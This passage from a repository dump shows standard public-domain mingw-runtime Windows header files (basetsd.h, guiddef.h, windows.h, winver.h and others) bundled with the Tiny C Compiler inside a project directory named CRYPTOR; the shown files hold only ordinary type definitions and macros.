| #define _LOWER 0x2 91 | #define _DIGIT 0x4 92 | #define _SPACE 0x8 93 | 94 | #define _PUNCT 0x10 95 | #define _CONTROL 0x20 96 | #define _BLANK 0x40 97 | #define _HEX 0x80 98 | 99 | #define _LEADBYTE 0x8000 100 | #define _ALPHA (0x0100|_UPPER|_LOWER) 101 | 102 | #ifndef _WCTYPE_DEFINED 103 | #define _WCTYPE_DEFINED 104 | 105 | int __cdecl iswalpha(wint_t); 106 | int __cdecl iswupper(wint_t); 107 | int __cdecl iswlower(wint_t); 108 | int __cdecl iswdigit(wint_t); 109 | int __cdecl iswxdigit(wint_t); 110 | int __cdecl iswspace(wint_t); 111 | int __cdecl iswpunct(wint_t); 112 | int __cdecl iswalnum(wint_t); 113 | int __cdecl iswprint(wint_t); 114 | int __cdecl iswgraph(wint_t); 115 | int __cdecl iswcntrl(wint_t); 116 | int __cdecl iswascii(wint_t); 117 | int __cdecl isleadbyte(int); 118 | wint_t __cdecl towupper(wint_t); 119 | wint_t __cdecl towlower(wint_t); 120 | int __cdecl iswctype(wint_t,wctype_t); 121 | _CRTIMP int __cdecl __iswcsymf(wint_t); 122 | _CRTIMP int __cdecl __iswcsym(wint_t); 123 | int __cdecl is_wctype(wint_t,wctype_t); 124 | #if (defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L) || !defined (NO_OLDNAMES) 125 | int __cdecl isblank(int _C); 126 | #endif 127 | #endif 128 | 129 | #ifndef _WCTYPE_INLINE_DEFINED 130 | #define _WCTYPE_INLINE_DEFINED 131 | #ifndef __cplusplus 132 | #define iswalpha(_c) (iswctype(_c,_ALPHA)) 133 | #define iswupper(_c) (iswctype(_c,_UPPER)) 134 | #define iswlower(_c) (iswctype(_c,_LOWER)) 135 | #define iswdigit(_c) (iswctype(_c,_DIGIT)) 136 | #define iswxdigit(_c) (iswctype(_c,_HEX)) 137 | #define iswspace(_c) (iswctype(_c,_SPACE)) 138 | #define iswpunct(_c) (iswctype(_c,_PUNCT)) 139 | #define iswalnum(_c) (iswctype(_c,_ALPHA|_DIGIT)) 140 | #define iswprint(_c) (iswctype(_c,_BLANK|_PUNCT|_ALPHA|_DIGIT)) 141 | #define iswgraph(_c) (iswctype(_c,_PUNCT|_ALPHA|_DIGIT)) 142 | #define iswcntrl(_c) (iswctype(_c,_CONTROL)) 143 | #define iswascii(_c) ((unsigned)(_c) < 0x80) 144 | #define isleadbyte(c) (__pctype_func()[(unsigned char)(c)] & _LEADBYTE) 145 | #else 146 | __CRT_INLINE int __cdecl iswalpha(wint_t _C) {return (iswctype(_C,_ALPHA)); } 147 | __CRT_INLINE int __cdecl iswupper(wint_t _C) {return (iswctype(_C,_UPPER)); } 148 | __CRT_INLINE int __cdecl iswlower(wint_t _C) {return (iswctype(_C,_LOWER)); } 149 | __CRT_INLINE int __cdecl iswdigit(wint_t _C) {return (iswctype(_C,_DIGIT)); } 150 | __CRT_INLINE int __cdecl iswxdigit(wint_t _C) {return (iswctype(_C,_HEX)); } 151 | __CRT_INLINE int __cdecl iswspace(wint_t _C) {return (iswctype(_C,_SPACE)); } 152 | __CRT_INLINE int __cdecl iswpunct(wint_t _C) {return (iswctype(_C,_PUNCT)); } 153 | __CRT_INLINE int __cdecl iswalnum(wint_t _C) {return (iswctype(_C,_ALPHA|_DIGIT)); } 154 | __CRT_INLINE int __cdecl iswprint(wint_t _C) {return (iswctype(_C,_BLANK|_PUNCT|_ALPHA|_DIGIT)); } 155 | __CRT_INLINE int __cdecl iswgraph(wint_t _C) {return (iswctype(_C,_PUNCT|_ALPHA|_DIGIT)); } 156 | __CRT_INLINE int __cdecl iswcntrl(wint_t _C) {return (iswctype(_C,_CONTROL)); } 157 | __CRT_INLINE int __cdecl iswascii(wint_t _C) {return ((unsigned)(_C) < 0x80); } 158 | __CRT_INLINE int __cdecl isleadbyte(int _C) {return (__pctype_func()[(unsigned char)(_C)] & _LEADBYTE); } 159 | #endif 160 | #endif 161 | 162 | typedef wchar_t wctrans_t; 163 | wint_t __cdecl towctrans(wint_t,wctrans_t); 164 | wctrans_t __cdecl wctrans(const char *); 165 | wctype_t __cdecl wctype(const char *); 166 | 167 | #ifdef __cplusplus 168 | } 169 | #endif 170 | 171 | #pragma pack(pop) 172 | #endif 173 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/basetsd.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _BASETSD_H_ 7 | #define _BASETSD_H_ 8 | 9 | #if (defined(__x86_64) || defined(__ia64__)) && !defined(RC_INVOKED) 10 | typedef unsigned __int64 POINTER_64_INT; 11 | #else 12 | typedef unsigned long POINTER_64_INT; 13 | #endif 14 | 15 | #define POINTER_32 16 | #define POINTER_64 17 | #define FIRMWARE_PTR 18 | 19 | #ifdef __cplusplus 20 | extern "C" { 21 | #endif 22 | 23 | typedef signed char INT8,*PINT8; 24 | typedef signed short INT16,*PINT16; 25 | typedef signed int INT32,*PINT32; 26 | typedef signed __int64 INT64,*PINT64; 27 | typedef unsigned char UINT8,*PUINT8; 28 | typedef unsigned short UINT16,*PUINT16; 29 | typedef unsigned int UINT32,*PUINT32; 30 | typedef unsigned __int64 UINT64,*PUINT64; 31 | typedef signed int LONG32,*PLONG32; 32 | typedef unsigned int ULONG32,*PULONG32; 33 | typedef unsigned int DWORD32,*PDWORD32; 34 | 35 | #ifndef _W64 36 | #define _W64 37 | #endif 38 | 39 | #ifdef _WIN64 40 | typedef __int64 INT_PTR,*PINT_PTR; 41 | typedef unsigned __int64 UINT_PTR,*PUINT_PTR; 42 | typedef __int64 LONG_PTR,*PLONG_PTR; 43 | typedef unsigned __int64 ULONG_PTR,*PULONG_PTR; 44 | #define __int3264 __int64 45 | #else 46 | typedef int INT_PTR,*PINT_PTR; 47 | typedef unsigned int UINT_PTR,*PUINT_PTR; 48 | typedef long LONG_PTR,*PLONG_PTR; 49 | typedef unsigned long ULONG_PTR,*PULONG_PTR; 50 | #define __int3264 __int32 51 | #endif 52 | 53 | #ifdef _WIN64 54 | #define ADDRESS_TAG_BIT 0x40000000000ULL 55 | typedef __int64 SHANDLE_PTR; 56 | typedef unsigned __int64 HANDLE_PTR; 57 | typedef unsigned int UHALF_PTR,*PUHALF_PTR; 58 | typedef int HALF_PTR,*PHALF_PTR; 59 | 60 | static __inline unsigned long HandleToULong(const void *h) { return((unsigned long) (ULONG_PTR) h); } 61 | static __inline long HandleToLong(const void *h) { return((long) (LONG_PTR) h); } 62 | static __inline void *ULongToHandle(const unsigned long h) { return((void *) (UINT_PTR) h); } 63 | static __inline void *LongToHandle(const long h) { return((void *) (INT_PTR) h); } 64 | static __inline unsigned long PtrToUlong(const void *p) { return((unsigned long) (ULONG_PTR) p); } 65 | static __inline unsigned int PtrToUint(const void *p) { return((unsigned int) (UINT_PTR) p); } 66 | static __inline unsigned short PtrToUshort(const void *p) { return((unsigned short) (unsigned long) (ULONG_PTR) p); } 67 | static __inline long PtrToLong(const void *p) { return((long) (LONG_PTR) p); } 68 | static __inline int PtrToInt(const void *p) { return((int) (INT_PTR) p); } 69 | static __inline short PtrToShort(const void *p) { return((short) (long) (LONG_PTR) p); } 70 | static __inline void *IntToPtr(const int i) { return((void *)(INT_PTR)i); } 71 | static __inline void *UIntToPtr(const unsigned int ui) { return((void *)(UINT_PTR)ui); } 72 | static __inline void *LongToPtr(const long l) { return((void *)(LONG_PTR)l); } 73 | static __inline void *ULongToPtr(const unsigned long ul) { return((void *)(ULONG_PTR)ul); } 74 | 75 | #define PtrToPtr64(p) ((void *) p) 76 | #define Ptr64ToPtr(p) ((void *) p) 77 | #define HandleToHandle64(h) (PtrToPtr64(h)) 78 | #define Handle64ToHandle(h) (Ptr64ToPtr(h)) 79 | 80 | static __inline void *Ptr32ToPtr(const void *p) { return (void *)p; } 81 | static __inline void *Handle32ToHandle(const void *h) { return((void *) h); } 82 | static __inline void *PtrToPtr32(const void *p) { return((void *) (ULONG_PTR) p); } 83 | 84 | #define HandleToHandle32(h) (PtrToPtr32(h)) 85 | #else 86 | 87 | #define ADDRESS_TAG_BIT 0x80000000UL 88 | 89 | typedef unsigned short UHALF_PTR,*PUHALF_PTR; 90 | typedef short HALF_PTR,*PHALF_PTR; 91 | typedef long SHANDLE_PTR; 92 | typedef unsigned long HANDLE_PTR; 93 | 94 | #define HandleToULong(h) ((ULONG)(ULONG_PTR)(h)) 95 | #define HandleToLong(h) ((LONG)(LONG_PTR) (h)) 96 | #define ULongToHandle(ul) ((HANDLE)(ULONG_PTR) (ul)) 97 | #define LongToHandle(h) ((HANDLE)(LONG_PTR) (h)) 98 | #define PtrToUlong(p) ((ULONG)(ULONG_PTR) (p)) 99 | #define PtrToLong(p) ((LONG)(LONG_PTR) (p)) 100 | #define PtrToUint(p) ((UINT)(UINT_PTR) (p)) 101 | #define PtrToInt(p) ((INT)(INT_PTR) (p)) 102 | #define PtrToUshort(p) ((unsigned short)(ULONG_PTR)(p)) 103 | #define PtrToShort(p) ((short)(LONG_PTR)(p)) 104 | #define IntToPtr(i) ((VOID *)(INT_PTR)((int)i)) 105 | #define UIntToPtr(ui) ((VOID *)(UINT_PTR)((unsigned int)ui)) 106 | #define LongToPtr(l) ((VOID *)(LONG_PTR)((long)l)) 107 | #define ULongToPtr(ul) ((VOID *)(ULONG_PTR)((unsigned long)ul)) 108 | 109 | static __inline void *PtrToPtr64(const void *p) { return((void *) (ULONG_PTR)p); } 110 | static __inline void *Ptr64ToPtr(const void *p) { return((void *) (ULONG_PTR) p); } 111 | static __inline void *HandleToHandle64(const void *h) { return((void *) h); } 112 | static __inline void *Handle64ToHandle(const void *h) { return((void *) (ULONG_PTR) h); } 113 | 114 | #define Ptr32ToPtr(p) ((void *) p) 115 | #define Handle32ToHandle(h) (Ptr32ToPtr(h)) 116 | #define PtrToPtr32(p) ((void *) p) 117 | #define HandleToHandle32(h) (PtrToPtr32(h)) 118 | #endif 119 | 120 | #define HandleToUlong(h) HandleToULong(h) 121 | #define UlongToHandle(ul) ULongToHandle(ul) 122 | #define UlongToPtr(ul) ULongToPtr(ul) 123 | #define UintToPtr(ui) UIntToPtr(ui) 124 | 125 | #define MAXUINT_PTR (~((UINT_PTR)0)) 126 | #define MAXINT_PTR ((INT_PTR)(MAXUINT_PTR >> 1)) 127 | #define MININT_PTR (~MAXINT_PTR) 128 | 129 | #define MAXULONG_PTR (~((ULONG_PTR)0)) 130 | #define MAXLONG_PTR ((LONG_PTR)(MAXULONG_PTR >> 1)) 131 | #define MINLONG_PTR (~MAXLONG_PTR) 132 | 133 | #define MAXUHALF_PTR ((UHALF_PTR)~0) 134 | #define MAXHALF_PTR ((HALF_PTR)(MAXUHALF_PTR >> 1)) 135 | #define MINHALF_PTR (~MAXHALF_PTR) 136 | 137 | typedef ULONG_PTR SIZE_T,*PSIZE_T; 138 | typedef LONG_PTR SSIZE_T,*PSSIZE_T; 139 | typedef ULONG_PTR DWORD_PTR,*PDWORD_PTR; 140 | typedef __int64 LONG64,*PLONG64; 141 | typedef unsigned __int64 ULONG64,*PULONG64; 142 | typedef unsigned __int64 DWORD64,*PDWORD64; 143 | typedef ULONG_PTR KAFFINITY; 144 | typedef KAFFINITY *PKAFFINITY; 145 | 146 | #ifdef __cplusplus 147 | } 148 | #endif 149 | #endif 150 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/basetyps.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #if !defined(_BASETYPS_H_) 7 | #define _BASETYPS_H_ 8 | 9 | #ifdef __cplusplus 10 | #define EXTERN_C extern "C" 11 | #else 12 | #define EXTERN_C extern 13 | #endif 14 | 15 | #define STDMETHODCALLTYPE WINAPI 16 | #define STDMETHODVCALLTYPE __cdecl 17 | 18 | #define STDAPICALLTYPE WINAPI 19 | #define STDAPIVCALLTYPE __cdecl 20 | 21 | #define STDAPI EXTERN_C HRESULT WINAPI 22 | #define STDAPI_(type) EXTERN_C type WINAPI 23 | 24 | #define STDMETHODIMP HRESULT WINAPI 25 | #define STDMETHODIMP_(type) type WINAPI 26 | 27 | #define STDAPIV EXTERN_C HRESULT STDAPIVCALLTYPE 28 | #define STDAPIV_(type) EXTERN_C type STDAPIVCALLTYPE 29 | 30 | #define STDMETHODIMPV HRESULT STDMETHODVCALLTYPE 31 | #define STDMETHODIMPV_(type) type STDMETHODVCALLTYPE 32 | 33 | #if defined(__cplusplus) && !defined(CINTERFACE) 34 | 35 | #define __STRUCT__ struct 36 | #define STDMETHOD(method) virtual HRESULT WINAPI method 37 | #define STDMETHOD_(type,method) virtual type WINAPI method 38 | #define STDMETHODV(method) virtual HRESULT STDMETHODVCALLTYPE method 39 | #define STDMETHODV_(type,method) virtual type STDMETHODVCALLTYPE method 40 | #define PURE = 0 41 | #define THIS_ 42 | #define THIS void 43 | #define DECLARE_INTERFACE(iface) __STRUCT__ iface 44 | #define DECLARE_INTERFACE_(iface,baseiface) __STRUCT__ iface : public baseiface 45 | #else 46 | 47 | #ifndef __OBJC__ 48 | #define interface struct 49 | #endif 50 | 51 | #define STDMETHOD(method) HRESULT (WINAPI *method) 52 | #define STDMETHOD_(type,method) type (WINAPI *method) 53 | #define STDMETHODV(method) HRESULT (STDMETHODVCALLTYPE *method) 54 | #define STDMETHODV_(type,method) type (STDMETHODVCALLTYPE *method) 55 | 56 | #define PURE 57 | #define THIS_ INTERFACE *This, 58 | #define THIS INTERFACE *This 59 | #ifdef CONST_VTABLE 60 | #define DECLARE_INTERFACE(iface) typedef struct iface { \ 61 | const struct iface##Vtbl *lpVtbl; } iface; \ 62 | typedef const struct iface##Vtbl iface##Vtbl; \ 63 | const struct iface##Vtbl 64 | #else 65 | #define DECLARE_INTERFACE(iface) typedef struct iface { \ 66 | struct iface##Vtbl *lpVtbl; \ 67 | } iface; \ 68 | typedef struct iface##Vtbl iface##Vtbl; \ 69 | struct iface##Vtbl 70 | #endif 71 | #define DECLARE_INTERFACE_(iface,baseiface) DECLARE_INTERFACE(iface) 72 | #endif 73 | 74 | #include 75 | 76 | #ifndef _ERROR_STATUS_T_DEFINED 77 | #define _ERROR_STATUS_T_DEFINED 78 | typedef unsigned long error_status_t; 79 | #endif 80 | 81 | #ifndef _WCHAR_T_DEFINED 82 | typedef unsigned short wchar_t; 83 | #define _WCHAR_T_DEFINED 84 | #endif 85 | #endif 86 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/guiddef.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef GUID_DEFINED 7 | #define GUID_DEFINED 8 | typedef struct _GUID { 9 | unsigned long Data1; 10 | unsigned short Data2; 11 | unsigned short Data3; 12 | unsigned char Data4[8 ]; 13 | } GUID; 14 | #endif 15 | 16 | #ifndef UUID_DEFINED 17 | #define UUID_DEFINED 18 | typedef GUID UUID; 19 | #endif 20 | 21 | #ifndef FAR 22 | #define FAR 23 | #endif 24 | 25 | #ifndef DECLSPEC_SELECTANY 26 | #define DECLSPEC_SELECTANY __declspec(selectany) 27 | #endif 28 | 29 | #ifndef EXTERN_C 30 | #ifdef __cplusplus 31 | #define EXTERN_C extern "C" 32 | #else 33 | #define EXTERN_C extern 34 | #endif 35 | #endif 36 | 37 | #ifdef DEFINE_GUID 38 | #undef DEFINE_GUID 39 | #endif 40 | 41 | #ifdef INITGUID 42 | #ifdef __cplusplus 43 | #define DEFINE_GUID(name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) EXTERN_C const GUID DECLSPEC_SELECTANY name = { l,w1,w2,{ b1,b2,b3,b4,b5,b6,b7,b8 } } 44 | #else 45 | #define DEFINE_GUID(name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) const GUID DECLSPEC_SELECTANY name = { l,w1,w2,{ b1,b2,b3,b4,b5,b6,b7,b8 } } 46 | #endif 47 | #else 48 | #define DEFINE_GUID(name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) EXTERN_C const GUID name 49 | #endif 50 | 51 | #define DEFINE_OLEGUID(name,l,w1,w2) DEFINE_GUID(name,l,w1,w2,0xC0,0,0,0,0,0,0,0x46) 52 | 53 | #ifndef _GUIDDEF_H_ 54 | #define _GUIDDEF_H_ 55 | 56 | #ifndef __LPGUID_DEFINED__ 57 | #define __LPGUID_DEFINED__ 58 | typedef GUID *LPGUID; 59 | #endif 60 | 61 | #ifndef __LPCGUID_DEFINED__ 62 | #define __LPCGUID_DEFINED__ 63 | typedef const GUID *LPCGUID; 64 | #endif 65 | 66 | #ifndef __IID_DEFINED__ 67 | #define __IID_DEFINED__ 68 | 69 | typedef GUID IID; 70 | typedef IID *LPIID; 71 | #define IID_NULL GUID_NULL 72 | #define IsEqualIID(riid1,riid2) IsEqualGUID(riid1,riid2) 73 | typedef GUID CLSID; 74 | typedef CLSID *LPCLSID; 75 | #define CLSID_NULL GUID_NULL 76 | #define IsEqualCLSID(rclsid1,rclsid2) IsEqualGUID(rclsid1,rclsid2) 77 | typedef GUID FMTID; 78 | typedef FMTID *LPFMTID; 79 | #define FMTID_NULL GUID_NULL 80 | #define IsEqualFMTID(rfmtid1,rfmtid2) IsEqualGUID(rfmtid1,rfmtid2) 81 | 82 | #ifdef __midl_proxy 83 | #define __MIDL_CONST 84 | #else 85 | #define __MIDL_CONST const 86 | #endif 87 | 88 | #ifndef _REFGUID_DEFINED 89 | #define _REFGUID_DEFINED 90 | #ifdef __cplusplus 91 | #define REFGUID const GUID & 92 | #else 93 | #define REFGUID const GUID *__MIDL_CONST 94 | #endif 95 | #endif 96 | 97 | #ifndef _REFIID_DEFINED 98 | #define _REFIID_DEFINED 99 | #ifdef __cplusplus 100 | #define REFIID const IID & 101 | #else 102 | #define REFIID const IID *__MIDL_CONST 103 | #endif 104 | #endif 105 | 106 | #ifndef _REFCLSID_DEFINED 107 | #define _REFCLSID_DEFINED 108 | #ifdef __cplusplus 109 | #define REFCLSID const IID & 110 | #else 111 | #define REFCLSID const IID *__MIDL_CONST 112 | #endif 113 | #endif 114 | 115 | #ifndef _REFFMTID_DEFINED 116 | #define _REFFMTID_DEFINED 117 | #ifdef __cplusplus 118 | #define REFFMTID const IID & 119 | #else 120 | #define REFFMTID const IID *__MIDL_CONST 121 | #endif 122 | #endif 123 | #endif 124 | 125 | #ifndef _SYS_GUID_OPERATORS_ 126 | #define _SYS_GUID_OPERATORS_ 127 | #include 128 | 129 | #ifdef __cplusplus 130 | __inline int InlineIsEqualGUID(REFGUID rguid1,REFGUID rguid2) { 131 | return (((unsigned long *) &rguid1)[0]==((unsigned long *) &rguid2)[0] && ((unsigned long *) &rguid1)[1]==((unsigned long *) &rguid2)[1] && 132 | ((unsigned long *) &rguid1)[2]==((unsigned long *) &rguid2)[2] && ((unsigned long *) &rguid1)[3]==((unsigned long *) &rguid2)[3]); 133 | } 134 | __inline int IsEqualGUID(REFGUID rguid1,REFGUID rguid2) { return !memcmp(&rguid1,&rguid2,sizeof(GUID)); } 135 | #else 136 | #define InlineIsEqualGUID(rguid1,rguid2) (((unsigned long *) rguid1)[0]==((unsigned long *) rguid2)[0] && ((unsigned long *) rguid1)[1]==((unsigned long *) rguid2)[1] && ((unsigned long *) rguid1)[2]==((unsigned long *) rguid2)[2] && ((unsigned long *) rguid1)[3]==((unsigned long *) rguid2)[3]) 137 | #define IsEqualGUID(rguid1,rguid2) (!memcmp(rguid1,rguid2,sizeof(GUID))) 138 | #endif 139 | 140 | #ifdef __INLINE_ISEQUAL_GUID 141 | #undef IsEqualGUID 142 | #define IsEqualGUID(rguid1,rguid2) InlineIsEqualGUID(rguid1,rguid2) 143 | #endif 144 | 145 | #define IsEqualIID(riid1,riid2) IsEqualGUID(riid1,riid2) 146 | #define IsEqualCLSID(rclsid1,rclsid2) IsEqualGUID(rclsid1,rclsid2) 147 | 148 | #if !defined _SYS_GUID_OPERATOR_EQ_ && !defined _NO_SYS_GUID_OPERATOR_EQ_ 149 | #define _SYS_GUID_OPERATOR_EQ_ 150 | #ifdef __cplusplus 151 | __inline int operator==(REFGUID guidOne,REFGUID guidOther) { return IsEqualGUID(guidOne,guidOther); } 152 | __inline int operator!=(REFGUID guidOne,REFGUID guidOther) { return !(guidOne==guidOther); } 153 | #endif 154 | #endif 155 | #endif 156 | #endif 157 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/poppack.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #if !(defined(lint) || defined(RC_INVOKED)) 7 | #pragma pack(pop) 8 | #endif 9 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/pshpack1.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #if !(defined(lint) || defined(RC_INVOKED)) 7 | #pragma pack(push,1) 8 | #endif 9 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/pshpack2.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #if !(defined(lint) || defined(RC_INVOKED)) 7 | #pragma pack(push,2) 8 | #endif 9 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/pshpack4.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #if !(defined(lint) || defined(RC_INVOKED)) 7 | #pragma pack(push,4) 8 | #endif 9 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/pshpack8.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #if !(defined(lint) || defined(RC_INVOKED)) 7 | #pragma pack(push,8) 8 | #endif 9 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/windows.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _WINDOWS_ 7 | #define _WINDOWS_ 8 | 9 | #ifndef WIN32_LEAN_AND_MEAN 10 | #define WIN32_LEAN_AND_MEAN 1 11 | #endif 12 | 13 | #ifndef WINVER 14 | #define WINVER 0x0502 15 | #endif 16 | 17 | #include <_mingw.h> 18 | 19 | #ifndef _INC_WINDOWS 20 | #define _INC_WINDOWS 21 | 22 | #if defined(RC_INVOKED) && !defined(NOWINRES) 23 | 24 | #include 25 | #else 26 | 27 | #ifdef RC_INVOKED 28 | #define NOATOM 29 | #define NOGDI 30 | #define NOGDICAPMASKS 31 | #define NOMETAFILE 32 | #define NOMINMAX 33 | #define NOMSG 34 | #define NOOPENFILE 35 | #define NORASTEROPS 36 | #define NOSCROLL 37 | #define NOSOUND 38 | #define NOSYSMETRICS 39 | #define NOTEXTMETRIC 40 | #define NOWH 41 | #define NOCOMM 42 | #define NOKANJI 43 | #define NOCRYPT 44 | #define NOMCX 45 | #endif 46 | 47 | #if !defined(I_X86_) && !defined(_IA64_) && !defined(_AMD64_) && (defined(_X86_) && !defined(__x86_64)) 48 | #define I_X86_ 49 | #endif 50 | 51 | #if !defined(I_X86_) && !defined(_IA64_) && !defined(_AMD64_) && defined(__x86_64) 52 | #define _AMD64_ 53 | #endif 54 | 55 | #if !defined(I_X86_) && !(defined(_X86_) && !defined(__x86_64)) && !defined(_AMD64_) && defined(__ia64__) 56 | #if !defined(_IA64_) 57 | #define _IA64_ 58 | #endif 59 | #endif 60 | 61 | #ifndef RC_INVOKED 62 | #include 63 | #include 64 | #endif 65 | 66 | #include 67 | #include 68 | #include 69 | #include 70 | //gr #include 71 | #include 72 | #include 73 | #include 74 | //gr #include 75 | 76 | #ifndef WIN32_LEAN_AND_MEAN 77 | #include 78 | #include 79 | #include 80 | #include 81 | #include 82 | #include 83 | #include 84 | #include 85 | #include 86 | #include 87 | #include 88 | #ifndef NOCRYPT 89 | #include 90 | #include 91 | #include 92 | #endif 93 | 94 | #ifndef NOUSER 95 | #ifndef NOGDI 96 | #include 97 | #ifdef INC_OLE1 98 | #include 99 | #else 100 | #include 101 | #endif 102 | #include 103 | #endif 104 | #endif 105 | #endif 106 | 107 | //gr #include 108 | 109 | #ifdef INC_OLE2 110 | #include 111 | #endif 112 | 113 | #ifndef NOSERVICE 114 | #include 115 | #endif 116 | 117 | #ifndef NOMCX 118 | #include 119 | #endif 120 | 121 | #ifndef NOIME 122 | #include 123 | #endif 124 | 125 | #endif 126 | #endif 127 | #endif 128 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/winapi/winver.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef VER_H 7 | #define VER_H 8 | 9 | #ifdef __cplusplus 10 | extern "C" { 11 | #endif 12 | 13 | #define VS_FILE_INFO RT_VERSION 14 | #define VS_VERSION_INFO 1 15 | #define VS_USER_DEFINED 100 16 | 17 | #define VS_FFI_SIGNATURE 0xFEEF04BDL 18 | #define VS_FFI_STRUCVERSION 0x00010000L 19 | #define VS_FFI_FILEFLAGSMASK 0x0000003FL 20 | 21 | #define VS_FF_DEBUG 0x00000001L 22 | #define VS_FF_PRERELEASE 0x00000002L 23 | #define VS_FF_PATCHED 0x00000004L 24 | #define VS_FF_PRIVATEBUILD 0x00000008L 25 | #define VS_FF_INFOINFERRED 0x00000010L 26 | #define VS_FF_SPECIALBUILD 0x00000020L 27 | 28 | #define VOS_UNKNOWN 0x00000000L 29 | #define VOS_DOS 0x00010000L 30 | #define VOS_OS216 0x00020000L 31 | #define VOS_OS232 0x00030000L 32 | #define VOS_NT 0x00040000L 33 | #define VOS_WINCE 0x00050000L 34 | 35 | #define VOS__BASE 0x00000000L 36 | #define VOS__WINDOWS16 0x00000001L 37 | #define VOS__PM16 0x00000002L 38 | #define VOS__PM32 0x00000003L 39 | #define VOS__WINDOWS32 0x00000004L 40 | 41 | #define VOS_DOS_WINDOWS16 0x00010001L 42 | #define VOS_DOS_WINDOWS32 0x00010004L 43 | #define VOS_OS216_PM16 0x00020002L 44 | #define VOS_OS232_PM32 0x00030003L 45 | #define VOS_NT_WINDOWS32 0x00040004L 46 | 47 | #define VFT_UNKNOWN 0x00000000L 48 | #define VFT_APP 0x00000001L 49 | #define VFT_DLL 0x00000002L 50 | #define VFT_DRV 0x00000003L 51 | #define VFT_FONT 0x00000004L 52 | #define VFT_VXD 0x00000005L 53 | #define VFT_STATIC_LIB 0x00000007L 54 | 55 | #define VFT2_UNKNOWN 0x00000000L 56 | #define VFT2_DRV_PRINTER 0x00000001L 57 | #define VFT2_DRV_KEYBOARD 0x00000002L 58 | #define VFT2_DRV_LANGUAGE 0x00000003L 59 | #define VFT2_DRV_DISPLAY 0x00000004L 60 | #define VFT2_DRV_MOUSE 0x00000005L 61 | #define VFT2_DRV_NETWORK 0x00000006L 62 | #define VFT2_DRV_SYSTEM 0x00000007L 63 | #define VFT2_DRV_INSTALLABLE 0x00000008L 64 | #define VFT2_DRV_SOUND 0x00000009L 65 | #define VFT2_DRV_COMM 0x0000000AL 66 | #define VFT2_DRV_INPUTMETHOD 0x0000000BL 67 | #define VFT2_DRV_VERSIONED_PRINTER 0x0000000CL 68 | 69 | #define VFT2_FONT_RASTER 0x00000001L 70 | #define VFT2_FONT_VECTOR 0x00000002L 71 | #define VFT2_FONT_TRUETYPE 0x00000003L 72 | 73 | #define VFFF_ISSHAREDFILE 0x0001 74 | 75 | #define VFF_CURNEDEST 0x0001 76 | #define VFF_FILEINUSE 0x0002 77 | #define VFF_BUFFTOOSMALL 0x0004 78 | 79 | #define VIFF_FORCEINSTALL 0x0001 80 | #define VIFF_DONTDELETEOLD 0x0002 81 | 82 | #define VIF_TEMPFILE 0x00000001L 83 | #define VIF_MISMATCH 0x00000002L 84 | #define VIF_SRCOLD 0x00000004L 85 | 86 | #define VIF_DIFFLANG 0x00000008L 87 | #define VIF_DIFFCODEPG 0x00000010L 88 | #define VIF_DIFFTYPE 0x00000020L 89 | 90 | #define VIF_WRITEPROT 0x00000040L 91 | #define VIF_FILEINUSE 0x00000080L 92 | #define VIF_OUTOFSPACE 0x00000100L 93 | #define VIF_ACCESSVIOLATION 0x00000200L 94 | #define VIF_SHARINGVIOLATION 0x00000400L 95 | #define VIF_CANNOTCREATE 0x00000800L 96 | #define VIF_CANNOTDELETE 0x00001000L 97 | #define VIF_CANNOTRENAME 0x00002000L 98 | #define VIF_CANNOTDELETECUR 0x00004000L 99 | #define 